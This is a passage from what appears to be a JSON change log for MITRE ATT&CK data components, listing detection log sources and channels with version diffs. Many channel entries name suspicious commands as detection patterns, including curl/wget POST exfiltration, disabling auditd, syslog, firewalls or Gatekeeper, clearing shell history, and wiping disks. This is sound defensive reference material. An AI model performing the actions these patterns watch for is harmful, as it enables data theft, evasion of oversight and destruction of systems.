\"channel\": \"Use of mv or cp to rename files with '.' prefix\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or SetFile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"interactive shell\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to locale, timedatectl, or cat /etc/timezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale, systemsetup -gettimezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"profiles install -type=configuration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sleep function usage or loops (nanosleep, usleep) in scripts\"}, {\"name\": \"m365:unified\", \"channel\": \"Search-Mailbox, Get-MessageTrace, eDiscovery requests\"}, {\"name\": \"EDR:cli\", \"channel\": \"Command Line Telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"loginwindow\\\" or \\\"pfctl\\\"'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Command Audit / Configuration Change\"}, {\"name\": \"WinEventLog:Microsoft-Office/OutlookAddinMonitor\", \"channel\": \"Outlook loading add-in via unexpected load path or non-default profile context\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or sudo usage with NOPASSWD context or echo modifying sudoers\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4104\"}, {\"name\": \"WinEventLog:Powershell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Execution of update-ca-certificates or trust anchor modification commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"gcore, gdb, strings, hexdump execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect, execve, write\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command execution\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of auditctl, systemctl stop auditd, or kill -9 auditd\"}, {\"name\": \"macos:syslog\", \"channel\": \"system.log\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"docker:daemon\", \"channel\": \"docker exec or docker run with unexpected command/entrypoint\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call including 'nohup' or trailing '&'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"nohup, disown, or osascript execution patterns\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CommandLine=copy-item or robocopy from UNC path\"}, {\"name\": \"esxi:shell\", \"channel\": \"invoked remote scripts (esxcli)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of systemctl with subcommands start, stop, enable, disable\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Policy Update\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"None\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand\"}, {\"name\": \"gcp:audit\", \"channel\": \"methodName: setIamPolicy, startInstance, createServiceAccount\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands executed within an SSH session where no matching logon/authentication event exists\"}, {\"name\": \"esxi:hostd\", \"channel\": \"modification of config files or shell command execution\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of 'profiles install -type=configuration'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem:com.apple.Terminal\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"eventlog\"}, {\"name\": \"esxi:hostd\", \"channel\": \"shell access or job registration\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"PowerShell launched from outlook.exe or triggered without user invocation\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email matches crafted rule trigger pattern tied to persistence logic\"}, {\"name\": \"linus:syslog\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unusual outbound transfers from CLI tools like base64, gzip, or netcat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 or curl processes chained within short execution window\"}, {\"name\": \"esxi:shell\", \"channel\": \"base64 or gzip use within shell session\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"chmod command with arguments including '+s', 'u+s', or numeric values 4000\\u20136777\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command includes dscl . delete or sysadminctl --deleteUser\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file system activity monitor\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"ip ssh pubkey-chain\"}, {\"name\": \"esxi:shell\", \"channel\": \"scripts or binaries with misleading names\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of GUI-related binaries with suppressed window/display flags\"}, {\"name\": \"linuxsyslog\", \"channel\": \"nslcd or winbind logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DS daemon log entries\"}, {\"name\": \"esxi:hostd\", \"channel\": \"logline inspection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk / asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase startup-config, format disk\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: iptables, nft, firewall-cmd modifications\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli network firewall set commands\"}, {\"name\": \"docker:events\", \"channel\": \"container exec rm|container stop --force\"}, {\"name\": \"esxi:hostd\", \"channel\": \"event stream\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command logs\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log entries containing \\\"esxcli system clock get\\\"\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command-exec: CLI commands containing \\\"show clock\\\", \\\"show clock detail\\\", \\\"show timezone\\\" executed by suspicious user/source\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"cmd: cmd=show clock detail\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -X POST, wget --post-data\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo chage|grep pam_pwquality|cat /etc/login.defs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pwpolicy|PasswordPolicy\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell script to enumerate or remove malicious Home Page folder config\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggering Outlook to auto-access folder tied to malicious Home Page\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line contains smbutil view //, mount_smbfs //\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Invocation of scp, rsync, curl, or sftp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"scp/ssh used to move file across hosts\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"command line arguments containing lsblk, fdisk, parted\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log messages related to disk enumeration context or Terminal session\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying local mail filter configuration files\"}, {\"name\": \"esxi:hostd\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user\"}, {\"name\": \"docker:api\", \"channel\": \"docker logs access or container inspect commands from non-administrative users\"}, {\"name\": \"esxi:shell\", \"channel\": \"command IN (\\\"esxcli vm process list\\\", \\\"vim-cmd vmsvc/getallvms\\\")\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: process_name IN (\\\"virsh\\\", \\\"VBoxManage\\\", \\\"qemu-img\\\") AND command IN (\\\"list\\\", \\\"info\\\")\"}, {\"name\": \"esxi:shell\", \"channel\": \"openssl|tar|dd\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SSM RunCommand\"}, {\"name\": \"azure:activity\", \"channel\": \"Intune PowerShell Scripts\"}, {\"name\": \"m365:exchange\", \"channel\": \"Cmdlet: Get-GlobalAddressList, Get-Recipient\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands like 'show running-config', 'copy running-config', or 'export config'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"boot logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"system boot logs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults write com.apple.system.logging or logd manipulation\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli system syslog config set or reload\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: openssl pkcs12, certutil, keytool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process calling security find-certificate, export, or import\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args\"}, {\"name\": \"m365:exchange\", \"channel\": \"Get-RoleGroup, Get-DistributionGroup\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of log show, fs_usage, or cat targeting system.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetLogEvents: High frequency log exports from CloudWatch or equivalent services\"}, {\"name\": \"esxi:shell\", \"channel\": \"Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI usage logs\"}, {\"name\": \"macos:syslog\", \"channel\": \"/var/log/system.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of launchctl load/unload/start commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Exchange Cmdlets\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of python, perl, or custom binaries invoking compression libraries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, USER_CMD\"}, {\"name\": \"auditd:USER_CMD\", \"channel\": \"USER_CMD\"}, {\"name\": \"esxi:shell\", \"channel\": \"Command execution trace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"bash/zsh of base64, tar, gzip, or openssl immediately after file write\"}, {\"name\": \"linux:osquery\", \"channel\": \"Command-line includes base64 -d or openssl enc -d\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 -d or osascript invoked on staged file\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -d, wget --post-data\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Processes executing sendmail/postfix with forged headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil partitionDisk or eraseVolume with partition scheme modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"format flash:, format disk, reformat commands\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for chmod, chown, or file permission modification on VMFS or system files\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"grep/cat/awk on files with password fields\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"grep/cat on files matching credential patterns\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"process execution involving curl, grep, or awk on secrets\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"command-line execution invoking credential enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"promiscuous mode transitions (ioctl or ifconfig)\"}, {\"name\": \"fs:fsusage\", \"channel\": \"access to BPF devices or interface IOCTLs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"exec command='monitor capture'\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Unexpected DLL or component loaded at Office startup\"}, {\"name\": \"m365:office\", \"channel\": \"Startup execution includes non-default component\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk/zeroDisk or asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase nvram:, format disk\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system syslog config set --loghost='' or stopping hostd service\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"no logging buffered, no aaa new-model, disable firewall\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"git push, curl -X POST\"}, {\"name\": \"linux:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command log\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"interactive shell logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chattr, rm, shred, dd run on recovery directories or partitions\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command sequence: erase \\u2192 format \\u2192 reload\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: at, job runner\"}, {\"name\": \"macos:osquery\", \"channel\": \"Interpreter exec with suspicious arguments as above\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of downgraded interpreters such as python2 or forced fallback commands\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of gsettings set org.gnome.login-screen disable-user-list true\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of dscl . create with IsHidden=1\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Access/Command Execution\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Logging\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"udev rule reload or trigger command executed\"}, {\"name\": \"linux:cli\", \"channel\": \"Shell history logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath contains \\\"zip\\\" OR \\\"base64\\\"'\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Command Execution\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd + process_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"DCUI shell start, BusyBox activity\"}, {\"name\": \"esxi:hostd\", \"channel\": \"remote CLI + vim-cmd logging\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Audit\"}, {\"name\": \"m365:defender\", \"channel\": \"Activity Log: Command Invocation\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CmdletName: Get-Recipient, Get-User\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets\"}, {\"name\": \"linux:shell\", \"channel\": \"Manual invocation of software enumeration commands via interactive shell\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Command line arguments including SPApplicationsDataType\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ssm:GetCommandInvocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli software vib list\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of setfattr or getfattr commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr utility execution with -w or -p flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of tools like cat, grep, or awk on credential files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of 'security', 'cat', or 'grep' commands accessing credential storage\"}, {\"name\": \"linux:syslog\", \"channel\": \"CLI access to 'show running-config', 'show password', or 'cat config.txt'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of curl, rsync, wget with internal knowledge base or IPs\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104,4105, 4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of xev, xdotool, or input activity emulators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load or boot-time plist registration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of interpreters creating archive-like outputs without calling tar/gzip\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Interface commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl -create\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli system account add\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"useradd or /etc/passwd modified inside container\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"kextload execution from Terminal or suspicious paths\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell without -NoProfile flag\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution of update-ca-certificates or openssl with suspicious arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr -d com.apple.quarantine or similar removal commands\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain\"}, {\"name\": \"linux:syslog\", \"channel\": \"Sudo or root escalation followed by filesystem mount commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4101\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4105\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"process title records containing discovery command sequences and environmental assessment patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Security framework operations including keychain access, cryptographic operations, and certificate validation\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, New-InboxRule\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl, wget, or custom scripts accessing financial endpoints\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of chattr to set +i or +a attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or setfile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"mv, rename, or chmod commands moving VM files into hidden directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution + payload hints\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events.command_line\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn, process:exec\"}, {\"name\": \"esxi:vobd\", \"channel\": \"shell session start\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"shell command\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Office application warning or alert on macro execution from template\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation\"}, {\"name\": \"m365:office\", \"channel\": \"Execution of unsigned macro from template\"}, {\"name\": \"linux:cli\", \"channel\": \"Terminal Command History\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"csrutil disable\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log show --predicate 'process == '\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privilege-level command execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, or openssl with output redirection\"}, {\"name\": \"saas:PRMetadata\", \"channel\": \"Commit message or branch name contains encoded strings or payload indicators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context\"}, {\"name\": \"esxi:shell\", \"channel\": \"`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Unexpected restarts of management agents or shell access\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl or wget with POST/PUT options\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Detected CLI command to export key material\"}, {\"name\": \"networkdevice:config\", \"channel\": \"PKI export or certificate manipulation commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command execution triggered by emond (e.g., shell, curl, python)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli, vim-cmd invocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI session activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve=/sbin/shutdown or /sbin/reboot\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system shutdown or reboot invoked\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"reload command issued\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103, 4104\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration\"}, {\"name\": \"vpxd.log\", \"channel\": \"VM inventory queries and configuration enumeration through vCenter API calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying HISTFILE or HISTCONTROL via unset/export\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Set or unset HIST* variables in shell environment\"}, {\"name\": \"esxi:shell\", \"channel\": \"unset HISTFILE or HISTFILESIZE modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Commands like 'no logging' or equivalents that disable session history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to /usr/bin/locale or shell execution of $LANG\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale or systemsetup -gettimezone\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -T, rclone copy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start/modify\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load/unload or plist file modification\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"syslog facility LOCAL7 or trap messages\"}, {\"name\": \"linux:cli\", \"channel\": \"/home/*/.bash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of lsmod, modinfo, or cat /proc/modules\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl . -create\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"vCenter Management\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.849000+00:00\", \"old_value\": \"2025-04-18 15:11:30.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-11 16:22:58.802000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0108", + "external_id": "DC0108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Device Alarm", + "description": "This includes alarms associated with unexpected device functions, such as shutdowns, restarts, failures, or configuration changes", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0108\", \"external_id\": \"DC0108\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Operational Databases\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:39:55.892000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.342000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0042", + "external_id": "DC0042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive Creation", + "description": "The activity of assigning a new drive letter or creating a mount point for a data storage device, such as a USB, network share, or external hard drive, enabling access to its content on a host system. Examples: \n\n- USB Drive Insertion: A USB drive is plugged in and automatically assigned the letter `E:\\` on a Windows machine.\n- Network Drive Mapping: A network share `\\\\server\\share` is mapped to the drive `Z:\\`.\n- Virtual Drive Creation: A virtual disk is mounted on 